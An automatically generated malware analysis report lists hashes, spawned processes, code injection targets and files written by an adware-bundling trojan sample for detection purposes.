Application.Bundler.Somoto.I_bbef8102d6

by malwarelabrobot on April 23rd, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), Trojan.Win32.Swrort.3.FD, SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: bbef8102d6345f6e5aea4567f3493da7
SHA1: a9d5ac08369d2aa031019c61e20fec807d4a65ca
SHA256: 72323c705559351ec98dd66486309803918532be983b49dabfffb22ea5bf41e4
SSDeep: 3072:y22ihA0m3BJf0vESiQs/ZDKu4TzRDQb/kWy/s/3jh46pWpZL:tA0m3T0vhgBMHVei0/V42iZ
Size: 166576 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

nsyDB72.tmp:1928
aints.exe:4416
aints.exe:1056
YTAHelper.exe:3720
smt_istartsurf.exe:2996
ShopperPro.exe:1780
ProtectWindowsManager.exe:4176
ProtectWindowsManager.exe:3944
cmdshell.exe:4308
YouTubeAcceleratorService.exe:3352
YouTubeAcceleratorService.exe:3888
YouTubeAcceleratorService.exe:2588
ProtectService.exe:2232
ProtectService.exe:4264
XTab_Setup2121.exe:2676
jsdrv.exe:3080
wpm_v20.0.0.1953_0302.exe:3844
biclient.exe:1708
biclient.exe:2772
GLJF1D.tmp:3840
Tfjrhcyiqi.exe:3960
WebProtectPD.exe:4152
WebProtectPD.exe:2500
ins_yta.exe:3824
QQBrowser.exe:2888
QQBrowser.exe:4332
testlsp.exe:4188
setup.exe:3452
HPNotify.exe:4144
Txhzzaikvhn.exe:4036
WerFault.exe:3956
WerFault.exe:1900
WebProtectorPlus.exe:3416
WebProtectorPlus.exe:3220
uinst.exe:1744
uinst.exe:908
ein.exe:688
ein.exe:4528
powershell.exe:3928
powershell.exe:5060
powershell.exe:5016
ins_shopperpro.exe:1056
nsoB3C6.tmp:2456
regsvr32.exe:4044
regsvr32.exe:2988
regsvr32.exe:3364
regsvr32.exe:3116
regsvr32.exe:3936
regsvr32.exe:3412
lspinst.exe:1600
lspinst.exe:3212
YTAHEL~1.EXE:4024
83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe:4492
3513.tmp:3180
DCytaiesmt_smtyc_setup.exe:3784
DCytaiesmt_smtyc_setup.exe:3496
DCytaiesmt_smtyc_setup.exe:3468
DCytaiesmt_smtyc_setup.exe:3180
DCytaiesmt_smtyc_setup.exe:3404
DCytaiesmt_smtyc_setup.exe:2352
spbiu.exe:3624
spbiu.exe:588
wscript.exe:5068
INS_SENSE.EXE:3208
GLBECE.tmp:3832
7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe:4480
taskeng.exe:2528
ytaiesmt_smtyc_setup.exe:3388
%original file name%.exe:2364
INS_IWEBAR.EXE:4044

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:3492
YouTubeAccelerator.exe:3632
biclient.exe:504
IEXPLORE.EXE:4636

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process nsyDB72.tmp:1928 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\uinst.exe (18174 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnE58F.tmp (24004 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_chrome[1] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\LiveUpdateWPP_is[1].exe (16384 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)

The process aints.exe:4416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyC820.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
%Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
%Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
%Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstC800.tmp (12336 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyC820.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)

The process aints.exe:1056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
%Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE86C.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
%Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
%Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE86C.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnE84C.tmp (12336 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)
%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe (9573 bytes)

The process YTAHelper.exe:3720 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process smt_istartsurf.exe:2996 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\474.db (224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\ChromeSync.exe (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\wpm_v20.0.0.1953_0302.exe (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\eg2.zip (219513 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\XTab_Setup2121.exe (76650 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\eg1.zip (169910 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\QQBrowserFrame.dll (3616 bytes)

The process ShopperPro.exe:1780 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\config.json (767 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\database1_0_0.ej (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.sys (52 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe (22786 bytes)

The process ProtectWindowsManager.exe:4176 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process cmdshell.exe:4308 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process YouTubeAcceleratorService.exe:3492 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC53CB.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3492.log (591 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC768B.tmp (547 bytes)
C:\Windows\Temp\SBC57F1.tmp (98 bytes)
C:\Windows\Temp\SBC5DAD.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBC5B7A.tmp (44 bytes)
C:\Windows\Temp\SBC37F7.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC47B9.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3492_YouTubeAcceleratorService.log (247685 bytes)
